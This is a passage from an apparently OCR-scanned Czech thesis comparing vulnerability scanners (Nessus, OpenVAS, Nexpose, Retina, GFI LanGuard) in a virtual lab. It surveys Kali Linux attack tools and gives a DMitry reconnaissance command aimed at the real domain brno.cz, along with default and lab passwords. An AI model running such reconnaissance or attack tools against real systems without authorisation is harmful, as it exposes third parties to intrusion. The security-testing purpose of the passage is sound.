Doporuceni pro automatizované zaznamenavani ptistupt k dattim a jejich zmény. Bez

zaznamu uzivatelskych aktivit v systému by bylo tézké odhalit pripadné naruseni.

Pozadavek 11: Pravidelné testovat bezpecnostni systémy a procesy.
Zde jsou definovany vsechny testy, které by mély v sifové infrastrukture pravidelné
provadény. Mimo jiné jsou zde pozadovany penetracni testy z vnitin{ i vnéjsi strany sité,

a to miniméalné jednou roc¢né.

Zavedeni postupu vedoucich k zabezpeceni informaci

Pozadavek 12: Udrzovat pravidla zamérena na bezpecnost informaci pro cely personal.
Pozadavky na vytvoreni, udrzovani a kontrolovani bezpec¢nostnich politik pro zamést-

nance spolec¢nosti.
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3 NESSUS VULNERABILITY SCANNER

Nessus Vulnerability Scanner je skenerem zranitelnosti vyvinuty spole¢nosti Tenable Ne-
twork Security (dédle jen TNS). Vyvojari na svych strankach [30] uvadi, Ze je Nessus celo-
svétoveé nejrozsitenéjsi skener zranitelnosti. Pii testovani probiha kontrolovani konkrétnich
chyb pomoci jednoduchych programu (plugini), jejichz rozsahlé databéze jsou denné aktu-
alizovany. Tento nastroj pracuje na modelu klient-server, ¢ili k serveru je mozné se pripojit
z libovolné klientské stanice v siti, a to pomoci webového prohlizece. Grafické rozhrani na-
stroje je uzivatelsky privétivé. Informace v této kapitole vychazeji prevazné ze stranek
TNS [30] a technické dokumentace produktu [31, 32].

Nejnoveéjsi verze programu je Nessus 6, vydand v listopadu 2014. Verze Nessus Home
je zdarma pro nekomerc¢ni pouziti, avSak je limitovana maxim&lnim poctem 16 IP adres
k testovani. Déle existuji i komercni verze pro I'T a bezpecnostni tymy s Sir§imi moznostmi
pouziti. Pro potreby této prace bude vyuzita verze Nessus Home, pro kterou je také tieba
ziskat aktivacéni kli¢ po registraci na webovych strankach TNS.

Nessus je dostupny a podporovany pro ruzné operacni systémy a platformy a dokaze

pracovat i na siti zalozené na protokolu IPv6.

3.1 Instalace

Zde bude popsana instalace na Windows a Kali Linux. Detailni postupy instalace na vsechny
podporované systémy lze dohledat v dokumentaci [31].
Pred instalaci Nessusu na Unix ¢i Linux systémy jsou vyzadovany tyto knihovny:
e zlib
« GNU C Library
« Oracle JDK nebo OpenJDK !
Mnohé distribuce je obsahuji standartné. Pti zvolené distribuci Kali Linux je neni potifeba

instalovat zvlast.

3.1.1 Instalace a ovladani ve Windows
Instalace

Hostitelsky operac¢ni systém v ramci této prace pro instalaci Nessus Home bude Windows
7 Professional 64bitové verze. Na webovych strankiach TNS je potfeba stahnout instalacéni
soubor pro odpovidajici platformu. Jedna se o béznou instalaci pod systémem Windows,
ovSem jsou vyzadovana administratorskd préava. Soucasti procesu je i instalace ovladace
WinPcap?. Pti instalaci tohoto ovladace je doporuceno zatrhnout volbu Automatically
start the WinPcap driver at boot time. Po dokonceni instalace by se méla spustit

ve webovém prohlize¢i stranka nabizejici poc¢atecéni konfiguraci (viz bod 3.2).

'Potiebné pouze pro exportovani vysledktt do formétd PDF. CSV a Nessus DB (viz 3.4.4).
2WinPcap je ovladaé tfeti strany, ktery umoziiuje Nessusu ethernetovou komunikaci.
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Ovladani démona ve Windows

Obvykle se Nessus démon spousti ve Windows automaticky. Ovladat ho je mozné pomoci
Spravce tloh na karté Sluzby nebo Piikazového fadku. V prikazovém radku slouzi pro za-
staveni prikaz:

C:\Windows\system32>net stop "Tenable Nessus"

a pro spusténi sluzby:

C:\Windows\system32>net start "Tenable Nessus"

3.1.2 Instalace a ovladani v Kali Linux
Instalace

Stejné jako v pripadé instalace na Windows je potieba stahnout spravny instalacni sou-
bor. V pripadé Kali Linux se nazyva Nessus-6.1.0-debian6_amd64.deb. Bude-li stazen
soubor do domovského adresare, jeho nasledné rozbaleni a instalaci je mozné jednoduse
provést prikazem:

root@kali:~# dpkg -i Nessus-6.1.0-debian6_amd64.deb

Ovladani démona v Kali Linux

V systémech zalozenych na UNIXu je potfeba nessusd démona spustit ru¢né. Spousténi
a zastaveni démona se v Kali Linux provadi pomoci piikazii:
# /etc/init.d/nessusd start

# /etc/init.d/nessusd stop

3.2 Popis rozhrani a pouzivani nastroje

Po instalaci by se mél automaticky oteviit webovy prohlize¢, kde Nessus uzivatele pro-
vede ivodnim nastavenim. Ve vétsiné ptipadi bude pripojeni definovano prohlizec¢em jako
neduvéryhodné, proto bude potfeba pridat vyjimku. Bézné se do programu pristupuje
pres webovy prohlize¢ pod adresou ve tvaru: https://[Nessus Server IP]:8834 prii-
padné https://localhost:8834. Ve Windows lze klienta spustit také pomoci nabidky:
Start>Programy>Tenable Network Security>Nessus>Nessus Web Client.

Po prihlaseni do systému se zobrazi hlavni stranka, jejiz nahled je na obrazku 3.1.
V horni ¢4asti jsou trvalé polozky:

e Scans,

e Policies,

e nazev prihlaseného uzivatele,

e zvonek indikuje systémova oznameni.
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https://localhost

Policies

Scans Upload
My Scans Name Last Scan &
Trash Shellshock +  November 27
All Scans o
test webowych aplikaci " November 27 > x
New Folder
hosti a porty v November 27
hosti " November 27
zakladni scan " November 27

Obr. 3.1: Nessus: Hlavni stranka

Polozka Scans je v podstaté vychozi (hlavn{) stranka Nessusu. Obsahuje piehled jiz
provedenych testu (skent), které je mozné oteviit a prohlizet vysledky.
Pod nézvem prihlaseného uzivatele (zde: tester) se rozbali nabidka s moznostmi spréavy

uzivatel, nastavenim néstroje, napovédou a odhlaseni uzivatele.

3.3 Vytvoreni testu

Novy test se vytvori pomoci kliknuti na New Scan, nachazejictho se na hlavni strance.
Nasleduje vybér sablony nebo politiky, podle které bude test probihat. Nessus nabizi
uzivateli jiz nékolik preddefinovanych Sablon. V bezplatné verzi Nessus Home lze vyuzit
pouze nékteré Sablony uvedené v tabulce 3.1.

Po vybéru sablony nasleduje nastaveni a prizpusobeni Sablony pro pozadovany test.
Nastaveni pro kazdy test se lisi podle vybéru sablony. Nejdetailnéjsi nastaveni ¢eka pri vy-
béru Advanced Scan, zde si mize uzivatel nastavit test podle svych potieb v plném rozsahu.
Je zde také mozné vybrat skupiny pluginti ¢i konkrétni pluginy, které se pro test pouziji,
a tim padem vytvorit izce zaméfeny test (napt. na CISCO zafizeni, firewally, CentOS
atd.).

Uzivatel si muze vytvorit vlastni politiky, coz jsou v podstaté vychozi sablony s ulo-
zenym uzivatelem definovanym nastavenim. Odpadé tak nastavovani stejnych parametru
pri opakovanych testech. Vytvareji se pomoci polozky Policies na hlavni strance nastroje.

Cile testu mohou byt zaddvany v riuznych formétech, napf. 192.168.0.100, 192.168.0.1/24,
192.168.0.10-100, test.ukazka.cz, fe80::212:17ff:fe57:333b.
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Tab. 3.1: Nessus: popis Sablon dostupnych ve verzi Home

Nazev sablony Popis

) Odhalovani komunikujicich prvka
Host Discovery o o i
a jejich otevrenych porti.

Basic Network Scan Zakladni sitovy test vnitini ¢i vnéjsi sité.

Autorizované prihlaseni do systému
Credentialed Patch Audit o P o ) Y
a zjistovani chybéjicich zaplat.

Windows Malware Scan | Vyhleddavani malware na Windows

Web Application Tests Test zaméreny na webové aplikace.
Bash Shellshock Testovani na tzv. Shellshock zranitelnost.

Zde si uzivatel kompletné nastavi politiku

Advanced Scan

podle svych potieb. Volba jednotlivych plugint.

Nessus nabizi i automatické spousténi testi pomoci planovace, a to denné, tydné,

meésiéné, rocné.

3.3.1 Credentials

Nastaveni povérovacich tdaju (Credentials) pro testy poslouzi k autentizaci do uréenych
systému [33]. Nessus je pak schopen provést $irsi skalu kontrol, a vysledky testu pak
mohou vypovidat vice. Hlavni vyhodou je, Zze umozni nastroji zjistit pritomnost dilezitych
bezpecnostnich zaplat, nebo detekovat Spatnou konfiguraci v systému. Pokud se provadi
black-box ¢i grey-box testy bez detailnich znalosti o cilovém systému, povérovaci idaje se
nevyplnuji. V Nessus 6.1 lze zadat povérovaci idaje do ruznych systémi:

 databédze (Oracle, MySQL, PostgreSQL, SQL Server, MongoDB, DB2),
prihlasovani do Windows v doméné, SSH do unixovych systémi,
,Plaintext authentication* sluzby jako FTP, HTTP, POP3,

a dalsi.

3.4 Vysledky testu

Na hlavni strance mezi provedenymi testy se vybranim konkrétniho testu zobrazi jeho

vysledky.

3.4.1 Detail testu

Néhled na celkové vysledky testu prezentuje ukazkovy obrazek 3.2. Vypsany jsou vSechny
stanice (hosts), které byly nalezeny. Kazda stanice je identifikovdna IP adresou a graficky
je u ni znazornén pocet zjisténych zranitelnosti ¢i informaci. Modfe se zndzornuji zjisténé
informace (typicky identifikace opera¢niho systému, MAC adresa, oteviené porty apod.).

Zelené se oznacuji zranitelnosti nizké zavaznosti (Low Severity). Zluta predstavuje stiedni
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zdvaznost (Medium Severity), oranzova vysokou zavaznost (High Severity) a ¢ervend kri-
tickou zdvaznost (Critical Severity).
Dale jsou zobrazeny informace o testu a na kolacovém grafu je vyobrazen pomér za-

vaznosti mezi zjisténymi zranitelnostmi.

zakladni scan Delete Configure Audit Trail Launch ~ Export
Scans * Hosts Vulnerabilities Remediations History
Host Vulnerabilities =

2 22
T
5

192.168.2.130

192.168.2.110

192.168.2.120

1921682:140 T
1

19216821 .

Obr. 3.2: Ndhled na vysledky testu

3.4.2 Detail stanice

Po otevieni konkrétni stanice ziskdme vypis na ni nalezenych zranitelnosti (obr. 3.3).
Kazda zranitelnost v tomto vypisu obsahuje barevny sStitek zévaznosti, nazev a rodinu

pluginu, pomoci kterého byla odhalena, a nakonec pocet vyskytu.

3.4.3 Detail zranitelnosti

Otevienim vybrané zranitelnosti ziskame jeji detail, ktery poskytuje stru¢ny popis zrani-
telnosti (v ¢em spoCivd, popf. jak se da zneuzit), mozné feSeni problému, reference na dalsi
zdroj informaci, uvede port a adresu stanice, kde byla zranitelnost nalezena.
V zavislosti na konkrétni zranitelnosti se tu nachazi vétsinou i dalsi informace:

¢ datum odhaleni zranitelnosti, popripadé posledni tpravy,

o faktor rizika, skore zranitelnosti podle CVSS,

e odkazy na charakteristiky v databazich CVE, OSVDB, BID, CWE,

e zneuzitelnost zranitelnosti, pripadné konkrétni nastroj.

3.4.4 Export vysledka

Vysledky je mozné exportovat pomoci nabidky Export do formata PDF, HITML, CSV,

Nessus, Nessus DB. Format Nessus a Nessus DB je k urc¢en k prohlizeni vysledka v Nessusu.
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Hosts > 192.168.2.130 > Vulnerabilities

Severity « Plugin Name Plugin Family Count
CRITICAL Microsoft Windows XP Unsupported Installation Detection Windows 1
CRITICAL MS05-027: Vulnerability in SME Could Allow Remote Code Exec... Windows 1

MS06-040: Vulnerability in Server Service Could Allow Remote C...  Windows 1

MS08-067: Microsoft Windows Server Service Crafted RPC Requ...  Windows 1
CRITICAL MS09-001: Microsoft Windows SMB Vulnerabilities Remote Cod...  Windows 1

m MS06-035: Vulnerability in Server Service Could Allow Remote C...  Windows 1

Microsoft Windows SMB NULL Session Authentication Windows 1
SME Signing Reguired Misc. 1
Messus SYM scanner Port scanners 3
m Microsoft Windows SMB Service Detection Windows 2

Obr. 3.3: Nessus: seznam zranitelnost{ v ramci jedné stanice

Mohou slouzit napiiklad pro zdlohu vysledka testti nebo prendSeni mezi jinymi servery
Nessus. K importovani slouzi polozka Upload na hlavni strance. Format Nessus DB je
Sifrovany, pti exportu vyzaduje po uzivateli zadani hesla, pomoci kterého bude pfi importu

desifrovan.
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4 KALI LINUX

Kali Linux je linuxova distribuce uréena pro penetraéni testovani a forenzni analyzy [12] .
K témto ucelim obsahuje pres 300 ruznych néastroji. Distribuce vznikla jako open source
projekt spole¢nosti Offensive Security, navazujici na predchozi projekt BackTrack Linux.
Ten uz v soucasné dobé neni vyvijen a podporovan, posledni verze 5§ R3 byla vydana
13.8.2012 [2]. Kompletnim prepsdnim BackTracku vznikla distribuce Kali Linux, ktera je
zalozena na Debianu. Vychozim prostfedim je GNOME.

Systém je k dispozici v 32 i 64bitovych verzich, a také pro ARM architektury (Raspberry
Pi, Samsung Chromebook, Galaxy Note 10.1, apod.). Muze byt instalovan na disk, spous-
tén jako live DVD/USB nebo jako virtudlni stroj.

Financovani Kali Linux umoznuji komeréni aktivity spole¢nosti Offensive Security, spo-
¢ivajici v poskytovani sluzeb penetra¢niho testovani, kurza informacni bezpecnosti a cer-
tifikace [20].

4.1 Instalace

Na adrese http://www.kali.org/downloads/ jsou dostupné oficidlni verze Kali Linux.
Nejnovéjsi verzi je momentalné 1.0.9a. Ke stazeni jsou na vybér obrazy jak pro 32/64bitové
systémy, tak i obrazy pro systémy ARMEL ¢i ARMHF. Velikost obrazu se pohybuje od 2
do 2,9 GB. Dokumentace udava nasledujici minimalni pozadavky k instalaci:

e 512 MB RAM pro architektury i386 a amd64,

e 10 GB prostoru na disku,

¢ CD-DVD jednotku nebo USB.

V pripadé, Ze je systém bootovan z vyménitelného média a pouzivan jako Live systém

(bez instalace), vychozi heslo pro uzivatele root je toor.

4.2 Popis prostredi

Nahled na spustény systém Kali Linux s vychozim prostfedim je na obrazku 4.1. Zobrazeno
je rozbalené menu Applications, kde je vidét, ze nastroje a programy jsou rozdéleny do ka-
tegorii podle vyuziti. Systém je vybaven kromé bezpecnostnich a systémovych nastroju
i béznymi programy (napf. prehravacem médii, webovym prohlize¢em, prohlize¢em doku-
mentu apod.). Kali je tedy distribuci, kterd nemusi byt vyuzivina pouze pro bezpec¢nostni
testy.

Jak uz bylo zminéno, celkové obsahuje Kali pres 300 ruznych nastroju. Vsechny spo-
le¢né s popisem a ukdzkou pouziti jsou uvedeny na strankach http://tools.kali.org

v sekci Tools Listings.

31


http://www.kali.org/downloads/
http://tools.kali.org

Applications Places {x Sun Nov 30, 4:07 PM
Accessories L4
%E] Electronics >
"fg Graphics »
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e Top 10 Security Tools > \ aircrack-ng
ﬁ) Internet \ § )
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i >
; : hydra
SO . i < 5
lélnl&l Office 3 ;;h Vulnerability Analysis \ )
7 e ohn

& Programming > ‘oi% Web Applications > &J
B8 sound & Video > o’ Password Attacks , &, maltego

2
ﬂ-: Wireless Attacks 5 \ metasploit framework
A

-

System Tools

\
i nmap
@ Universal Access » ek Exploitation Tools 3 \
n s ; owasp-za
255 Other > C:: Sniffing/Spoofing > \ p-zap
E Maintaining Access > sqlmap
\ wireshark
Reverse Engineering > -
':::' Stress Testing >

El Hardware Hacking >

-‘”y Forensics >

|| Reporting Tools >
quq.ﬂ' System Services

[root@kali: ~] £ [Kali Linux, an Offensi...

Obr. 4.1: Pracovni plocha Kali Linux a nabidka aplikaci

4.3 Vybrané nastroje v Kali Linux

Zde bude popsdno nékolik vybranych nastroju ruznych zaméreni. Informace jsou ¢erpany

z Tools Listings [14] a jednotlivych oficidlnich stranek nastroju.

Zenmap/Nmap

Zenmap je grafickym rozhranim populdrni open source utility Nmap ( ,Network Mapper*).
Slouzi k pruzkumu sité a bezpecnostni audit. Podporuje vice platforem — Linux, Windows,
Mac OS X, BSD a dalsi. Grafické rozhrani je jednoduché na ovladani. Zadava se cil testu
(Target) a profil. Na vybér jsou ruzné profily, naptiklad intenzivni sken, rychly sken, sken
s pouzitim UDP portt ¢i vSech TCP portu atd. Spusténim testu se také vygeneruje prikaz,
kterym by se stejny test vyvolal pomoci Nmap v terminalu. Prubéh testu s prabéznymi
vysledky se vypisuje v textovém okné na karté Nmap Output. Nmap ¢i Zenmap poskytnou
informace o dostupnych stanicich, otevienych portech, operacnich systémech, spusténych
sluzbach, a také se snazi vykreslit topologii sité. Vysledky lze ruzné filtrovat a ukladat.
Nmap podporuje tvorbu vlastnich skripti. Jedna se vyborny nastroj pro sbér dat v ramci

procesu penetra¢niho testu.

DMitry

Deepmagic Information Gathering Tool (Dmitry) je linuxovy néstroj ke shromazdovani

co nejvice moznych informaci o cilové stanici. S aplikaci se pracuje v terminalu a provadi
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ziskavani informaci z databazi whois a netcraft.com, zjistuje uptime, hledani subdomén
a emailovych adres v cili, a také zdkladni skenovani TCP portu.
Priklad pouziti:
kali@root:# dmitry -winsepbo brno.txt brno.cz
Néstroj pomoci tohoto ptikazu ziskd co nejvice informaci o adrese brno.cz a ulozi je

souboru brno.txt v aktudlnim adresari. ~-winsepbo jsou volitelné parametry néastroje.

Hydra

Uéinny néstroj pro slovnikové hadéni prihlagovacich tdaji k Siroké skale protokoli jako
napt. Cisco enable, FTP, HTTP, ICQ, IMAP, LDAP, MS-SQL, MySQL, SIP, SMB(NT),
SMTPSSH (vl and v2), Telnet a mnoho dalsich. Také je mozné vyuzit verzi s grafickym
rozhranim — hydra-gtk.

Metasploit

Velmi populdrni néstroj pro zneuzivani bezpecnostnich chyb. Obsahuje vice nez 1200
modulli ruznych zaméreni pro exploitace, které stale piibyvaji. Metasploit framework je
zdarma a pracuje se s nim v prikazovém radku. Néstroj je kompletné prepsan v jazyce
Ruby a vsechny zdrojové kédy véetné moduli jsou volné k dispozici napiiklad na stran-
kach github.com. Tento projekt nyni spadd pod spolecnost Rapid7, ktera poskytuje mimo
jiné skener zranitelnosti Nexpose a zranitelnou distribuci Metasploitable. Metasploit je
dostupny i v nékolika komercnich verzich s grafickym rozhranim. Vyjimkou je bezplatna

verze Metasploit Community [16].

w3af

Framework s grafickym rozhranim pro audit webovych aplikaci, ktery by mél byt schopen
najit a zneuzit vSechny zranitelnosti webovych aplikaci. PiSe se o ném jako o Metasploitu

pro webové aplikace. Je napsany kompletné v pythonu a obsahuje pres 130 plugint.

Aircrack-ng

Balik nastroju slouzici k prolamovani klicdk WEP a WPA-PSK bezdratovych siti 802.11.

Za zminku stoji také jednoduse ovladatelny nastroj stejného ucelu — Fern Wifi Cracker.

Ettercap

Nastroj, jehoz pomoci lze provadét itoky typu man-in-the-middle a odchytavat tak provoz
ostatnich stanic v lokaln{ siti. Umoznuje itoky typu ARP poisoning, ICMP redirect, DHCP
spoofing a port stealing. Dokaze automaticky vypisovat zachycena hesla nékolika protokoli
jako F'TP, telnet, RIP atd. Nastroj mé i provedeni s grafickym rozhranim a obsahuje nékolik

plugint, které rozsiruji jeho moznosti.
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Wireshark

Aplikace ur¢ena pro analyzu sitového provozu. Umoznuje zachytavat provoz na klientské
stanici nebo veskery provoz v promiskuitnim rezimu. Zachycenad data je mozné detailné
analyzovat. Zobrazovana jsou prehledné, a také je lze filtrovat nebo ukladat. Ulozena data

(napf. ve formétu .cap ¢i .pcap) lze pouzit jako vstupni data do dalsich program.

OpenVAS

Nézev je zkrdceninou Open Vulnerability Assessment System [21]. Jedna se o framework
sestavajici z nékolika nastroju a sluzeb, ktery slouzi k hledani zranitelnosti. Produkt je
kompletné zdarma, coz je mezi ostatnimi skenery zranitelnosti vyjimkou. Nastroj vyuziva
denné aktualizované databdze NVT (Network Vulnerability Tests), ktera ¢itd jiz pres 35
000 zdznamu (k dubnu 2014).
Umisténi: Kali Linux -> Vulnerability Analysis -> OpenVAS -> OpenVAS
start/OpenVAS check setup/...
Hlavni moduly néstroje:

e OpenVAS Scanner — vlastni skener cilovych stanic,

¢ OpenVAS Manager — stard se o nastaveni, rizeni, reportovani testt, spravu uzivatel,

synchronizaci databazi atd.,
o Greenbone Security Assistant (GSA) — webovy klient umoznujici ¥izeni celého né-
stroje,

e OpenVAS CLI - fizeni néstroje z prikazové radky.

OpenVAS muze fungovat pouze na nékolika linuxovych distribucich. Ovladan muze byt
i z Windows, ale pouze pomoci OpenVAS CLI. V soucasné dobé je k dispozici verze 7.
Na webovych strankach nastroje jsou uvedeny balicky, ze kterych lze nastroj nainstalovat.
V distribuci Kali Linux je jiz obsazen.

Pred prvnim spusténim je tfeba nédstroj nakonfigurovat. To lze realizovat pomoci voleb
v nabidce Kali Linux -> Vulnerability Analysis -> OpenVAS nebo pfimo po-
moci prikazti v terminalu. Na zacatku je dobré provést piikazy openvas initial setup,
poté openvas check setup a nasledovat pokyny k nastaveni. OpenVAS démony je mozné
ovladat pomoci voleb openvas start a openvas stop. Pro samotnou praci s nastrojem
se vyuziva desktopové aplikace Greenbone Security Desktop nebo webového rozhrani Gre-
enbone Security Assistant, které standartné funguje na adrese https://127.0.0.1:9392.

Pouzivani nastroje je obdobné jako u Nessusu. Nejdiive se vSak zvlast definuji (Con-
figuration) cile testu spole¢né s povérovacimi idaji a nastavenim rozsahu prohleddvanych
porti. Potom v menu Scan Management se vytvori tloha, kde se definuje typ testu (Scan

Config). OpenVAS nabizi export vysledki v dvandcti ruznych formétech.
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5 POROVNANI NASTROJU PRO ODHALOVANI ZRA-
NITELNOSTI

Cilem této kapitoly je otestovani a porovnani péti nastroji uré¢enych pro odhalovani zra-

nitelnosti v laboratorni siti. Kazdym nastrojem budou realizovany interni i externi testy.

5.1 Popis sité a funkci

Byla navrzena experimentalni sit obsahujici koncové stanice s riznymi opera¢nimi systémy.
Seznam téchto stanic je spolecné s IP adresami uveden v nasledujici tabulce. Zapojeni sité
je zakresleno na obrazku 5.1. Prostfednictvim Test-PC1 a Test-PC2 se provadéji samotné

testy. Slouzi jako hostitelské stanice pro testovaci nastroje.

Tab. 5.1: Prehled informaci o stanicich v siti

Operacni systém Oznaceni v topologii IP adresa
Debian 7.7.0 "Wheezy" Debian 192.168.2.100/24
FreeBSD 10.0 FreeBSD 192.168.2.110/24
Ubuntu 13.10 Ubuntu 192.168.2.120/24
Windows XP Home Edition SP2 | Win XP 192.168.2.130/24
Windows 7 Home Premium Win 7 192.168.2.140/24
Windows 7 / Kali Linux Test-PC1 192.168.2.150/24
Windows 7/ Kali Linux Test-PC2 10.10.10.10/24
Debian 7.7.0 netinst Debian-NAT 192.168.2.1/24
10.10.10.1/24

Cela sit je prakticky realizovana jako virtualni. Vyuzito bylo feseni virtualizac¢ni plat-
formy VMware vSphere. Na vykonny server byl nainstalovan operacni systém vSphere
ESXi Hypervisor, ktery umoznuje virtualizaci stroji. Ke spravé infrastruktury a prace
s virtualizovanymi stanicemi se pfistupuje pomoci vSphere Client, jenz mize byt nain-
stalovan na libovolném pocitaci ve stejné siti. Vyhodou feseni vSphere je také moznost
propojit vytvorené virtualni stroje v siti pomoci virtualniho switche. vSphere je také scho-

pen poskytnout virtudlnim strojim piistup do redlné sité a k internetu [37].

5.1.1 Debian-NAT

Dilezity prvek sité je stanice pojmenovana Debian-NAT. Tento prvek plni v siti funkci
prekladu adres NAT a firewallu. Oddéluje experimentalni vnitini a vnéjsi sit, jedna se tedy
o hranic¢ni prvek. Vnitini sif predstavuje uzavienou sit organizace a vnéjsi sit internet.
Pro tento ucel byla zvolena opét distribuce Debian 7.7.0 netinstall, coz je varianta
pro instalaci systému s minimalnim mnozstvim softwaru. Stanice disponuje dvéma sifo-
vymi rozhranimi. Rozhrani do vnéjsi sité eth0 méa pridélenou adresu 10.10.10.1 a rozhrani
do vnitini sité ethl adresu 192.168.2.1. Funkce NATu a firewallu byly nakonfigurovany
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Obr. 5.1: Topologie sité

pomoci linuxového nastroje iptables. Pravidla firewallu umoznuji vSem stanicim z vnitini
sité pristupovat do vnéjsi. Pristup z vnéjsi do vnitrni sité je obecné zakazan, avsak vyjimky
jsou pridéleny pro sluzby serverii, které jsou pristupné ve vnéjsi siti, a také pro navazana

spojeni.

5.1.2 Sluzby bézici na Debianu a FreeBSD

Systémy Debian a FreeBSD byly zvoleny jako popularni zastupci z distribuci Linux a BSD.
Ve vytvorené siti tyto stanice plni funkce serveru, nebot na obou byly zprovoznény sluzby
webového, FTP a SSH serveru. Sit je nastavena tak, aby sluzby téchto stanic byly pristupné

i do vnéjsi sité, kterd ma predstavovat internet.

Tab. 5.2: Konkrétni pouzité servery

Sluzba Debian FreeBSD
web Apache 2.2.22 Apache 2.4.6
ftp vsftpd 2.3.5 ftpd 6.0LS
ssh OpenSSH 6.0p | OpenSSH 6.4p1

Webové servery poskytuji pouze jednoduché webové stranky vytvorené pomoci HTML.

Pristup k FTP servertim je mozny pomoci uzivatele user a hesla user. SSH umoznuje
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vzdaleny pristup do systému. Sluzby bézici na FreeBSD jsou zpristupnény do vnéjsi sité
pod adresou 10.10.10.1, ale pod jinymi porty. Na stanici DEBIAN-NAT je nastaven pieklad
(DNAT) pro presmérovani pozadavku s porty 8080, 23, 115 na server FreeBSD s puvodnimi

porty.

5.2 Volba nastrojt k testovani

Zadany byly nastroje Nessus a Kali Linux. Kali je operac¢ni systém, ale obsahuje skener
zranitelnosti OpenVAS. Déle byly vybrany néastroje Nexpose Community a Retina. Pa-
tym nastrojem byla zvolena trial verze nastroje GFI LanGuard. Vyzkouseny byly i dalsi
nastroje, které z riznych divodu nebyly pro testovani vybrany. Jednalo se napiiklad o zku-
Sebni verzi Security Manager Plus spole¢nosti Manage Engine. Nastroj Core Impact Pro
neni zdarma k vyzkouseni. Unified Security Management spolecnosti Alien Vault byl vy-

loucen kvuli vysokym hardwarovym naroktm.

5.3 Informace k testovani

S kazdym néstrojem byl proveden externi i interni test. Kazdy z nich navic bez zadani
povérovacich udaju (credentials) a pro srovnani také s udaji. Bylo tedy cilem s kazdym
nastrojem provést celkem 4 testy — vnéjSi obycejny test, vnéjsSi povéreny test, vnitini
obycejny test a vnitini povéreny test. ,,Credentialed“ test by mél zpravidla poskytnout vice
informaci o testovaném systému. Na stanicich Debian i FreeBSD je nastaveno pro tcet root
heslo toor, které bude nésledné zadavano pri povérenych testech skrze SSH. Na stanicich
s Windows 7 i XP byl vytvoren kvili povéfenym testim administratorsky ucet admin s
heslem admin123.

Prakticky bylo s kazdym nastrojem provedeno vice typu testi. Divodem bylo zjistit,
ktery typ ¢i Ssablona daného nastroje odhali nejvice zranitelnosti nebo informaci, a z toho
se pouzily vysledky. Pokud néjaky nastroj neodhalil zddné ¢i jen malo vysledki v porov-
nani s jinymi nastroji, byl pokus opakovan s jinym nastavenim. Vétsinou testy probihaly
s pouzitim prednastavenych sablon typu Full audit, All audits apod.

Vysledky nalezenych zranitelnosti byly zpracovany do tabulek a kvili rozsahu jsou

umistény na CD jako ptiloha. Jedna se o soubor prehled_zranitelnosti.pdf.

5.4 Souhrn vysledkt a porovnani nastroji

Do tabulky 5.3 byl zpracovan souhrn vysledkd testi. Cisla v tabulce znamenaji celkovy
pocet nalezenych zranitelnosti, ktery se podaril nastroji ke kazdé stanici zjistit. Nalezené
udaje informacniho charakteru nejsou zapocitany. Prvni ¢islo pred lomitkem udava pocet
nalezl bez povérovacich tdajui a ¢islo za lomitkem test s vyuzitim adajia. Adresa 10.10.10.1

predstavuje externi test, ostatni adresy se tykaji internich testt.
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Tab. 5.3: Porovnani vSech nastroji podle poc¢tu nalezenych informaci

Systém IP adresa Nessus | Nexpose | Retina | OpenVAS | GFI LanGuard
Debian-NAT 10.10.10.1 6/8 30/30 | 8/15 3/- 0/0
Debian-NAT 192.168.2.1 0/0 0/0 0/0 0/- 0/0
Debian 192.168.2.100 5/9 40/40 | 9/14 3/- 2/2
FreeBSD 192.168.2.110 3/4 17/17 3/5 3/- 1/1
Ubuntu 192.168.2.120 0/0 0/0 0/0 0/- 0/0
Windows XP 192.168.2.130 0/0 0/0 0/0 0/- 0/0
Windows 7 192.168.2.140 0/0 0/0 0/0 0/- 0/0
Celkem Bez udajii / s udaji | 14/21 | 87/87 | 20/34 9/- 3/3
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Obr. 5.2: Grafické porovnani nastroju podle po¢tu nalezenych zranitelnosti

Z vysledku testu (viz ptiloha na CD) je patrné, Ze nejvice zranitelnosti se se vyskytuje
na systémech Debian a FreeBSD, protoze na nich bézi sifové sluzby. Pfi externich testech
odhalil nejvice zranitelnosti nastroj Nexpose. Vétsina téchto zranitelnosti pochazi z webo-
vych serveri Apache. Pfi externim testu s povérovacimi udaji SSH se pocet nalezu podle
ocekavani jesté zvysil. Nastroje upozornuji naptiklad na chyby:

e chybéjici bezpec¢nostni aktualizace systému Debian,

o pouziti vychozich pfihlasovacich idaju (root-toor),

¢ nezabezpecené prihlasovani v FTP a povoleni anonymniho pfistupu,

o slabsi algoritmy SSH,

e moznost prihlaseni se jako guest prostfednictvim Microsoft Windows SMB nebo Samby,

e povoleny IP forwarding,

e ruzné zranitelnosti serveru Apache.

Pri internich testech byly odhaleny vétSinou stejné chyby jako pri externich testech, protoze

servery Debian a FreeBSD poskytuji sluzby jak do vnéjsi, tak i do vnitfni sité. Déle bylo

38



odhaleno nékolik dalSich zranitelnosti navic.

Vsechny néstroje zjistily miniméalni mnozstvi informaci na stanicich s Windows 7, XP
a Ubuntu. To je pravdépodobné zptsobeno aktivnimi firewally, a také skute¢nosti, Ze na
na nich nejsou spustény néjaké sitové sluzby. Jedna se o ¢isté nainstalované systémy bez
zasahu do konfigurace.

Celkové nejvice zranitelnosti se podarilo zjistit nastroji Nexpose, na druhou stranu
neziskal zadné informace o systémech Windows. Jako jediny néstroj automaticky identi-
fikoval na stanici Debian vychozi prihlasovaci tidaje root:toor. Diky tomu mél nastroj
povérovaci tdaje ke stanici béhem obou typu testu (nepovéreny, povéreny). Proto jsou
vysledky obou testti pro Debian, FreeBSD a externi test totozné.

Nexpose, Retina a Nessus poskytli pomérné slusné vysledky. Nessus dokazal identifiko-
vat nejvice informaci o testovanych stanicich. U nastroje OpenVAS bohuzel nebylo mozné
zadat poveérovaci Udaje, takze v povéfeném testu ho nelze s ostatnimi nastroji srovna-
vat. Nastroj byl dvakrat preinstalovan a jednou probéhly aktualizace celého systému Kali
Linux. Nakonec zustalo vytvareni povérovacich udaju nevyfesenym problémem.

GFI LanGuard nasel zna¢né odlisné typy zranitelnosti nez ostatni nédstroje. Vétsina
nalezenych udaji, oznacenych jako Low jsou pouhé informace typu oteviené porty a bé-
zici sluzby. Proto nebyla vétsina nalezi zapocitana do porovnavaci tabulky. DalSim duvo-
dem je, Ze nepriradil zadné zranitelnosti rizikovy faktor. Ostatni nastroje pouzivaji skalu
CVSS. Po vlastnim zvazeni byla do tabulky zapo¢itana zranitelnost FTP anonymous ac-
cess allowed nalezena na FreeBSD serveru, kterou odhalily i ostatni nastroje. Déle byly
zapocCitany zranitelnosti vysokého rizika typu rootkit nalezené na Debianu. Presto lze GFI
